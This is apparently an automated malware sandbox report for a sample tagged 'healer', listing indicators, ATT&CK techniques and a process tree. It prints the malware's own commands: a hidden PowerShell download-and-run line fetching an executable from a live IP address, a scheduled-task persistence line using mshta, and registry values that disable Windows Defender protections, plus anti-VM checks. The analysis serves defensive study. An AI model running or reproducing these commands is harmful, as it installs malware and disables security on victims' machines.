healer | 3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs

defense_evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Modifies Windows Defender notification settings 3 TTPs 2 IoCs

defense_evasion trojan

Windows Service

Modify Registry

Disable or Modify Tools

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender Security Center\Notifications\DisableNotifications = "1"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	4556	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4556	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	4556	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Control Panel\International\Geo\Nation	mshta.exe

Executes dropped EXE 1 IoCs

pid	Process
3484	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Identifies Wine through registry keys 2 TTPs 1 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Software\Wine	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
3484	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
2868	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4556	powershell.exe
4556	powershell.exe
3484	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
3484	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
3484	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
3484	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4556	powershell.exe
Token: SeDebugPrivilege	3484	TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1844 wrote to memory of 4076	1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe	85
PID 1844 wrote to memory of 4076	1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe	85
PID 1844 wrote to memory of 4076	1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe	85
PID 1844 wrote to memory of 2396	1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe	86
PID 1844 wrote to memory of 2396	1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe	86
PID 1844 wrote to memory of 2396	1844	3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe	86
PID 4076 wrote to memory of 2868	4076	cmd.exe	88
PID 4076 wrote to memory of 2868	4076	cmd.exe	88
PID 4076 wrote to memory of 2868	4076	cmd.exe	88
PID 2396 wrote to memory of 4556	2396	mshta.exe	90
PID 2396 wrote to memory of 4556	2396	mshta.exe	90
PID 2396 wrote to memory of 4556	2396	mshta.exe	90
PID 4556 wrote to memory of 3484	4556	powershell.exe	92
PID 4556 wrote to memory of 3484	4556	powershell.exe	92
PID 4556 wrote to memory of 3484	4556	powershell.exe	92

C:\Users\Admin\AppData\Local\Temp\3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe
"C:\Users\Admin\AppData\Local\Temp\3d37e462a2809c12e5c1126ac2b8f2d2d5f5b940f730973920f3e471e5e21032.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1844
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /tn I3RMcmaIFgq /tr "mshta C:\Users\Admin\AppData\Local\Temp\zELetLLkZ.hta" /sc minute /mo 25 /ru "Admin" /f
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /tn I3RMcmaIFgq /tr "mshta C:\Users\Admin\AppData\Local\Temp\zELetLLkZ.hta" /sc minute /mo 25 /ru "Admin" /f
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2868
- C:\Windows\SysWOW64\mshta.exe
  mshta C:\Users\Admin\AppData\Local\Temp\zELetLLkZ.hta
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2396
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'GUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4556
  - - C:\Users\Admin\AppData\Local\TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE
      "C:\Users\Admin\AppData\Local\TempGUOC0OMDUZTJCG7HL6PRDVPGPKKLHAUK.EXE"
      4⤵
      Modifies Windows Defender DisableAntiSpyware settings
      Modifies Windows Defender Real-time Protection settings
      Modifies Windows Defender TamperProtection settings
      Modifies Windows Defender notification settings
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Identifies Wine through registry keys
      Windows security modification
      Suspicious use of NtSetInformationThreadHideFromDebugger
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3484

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion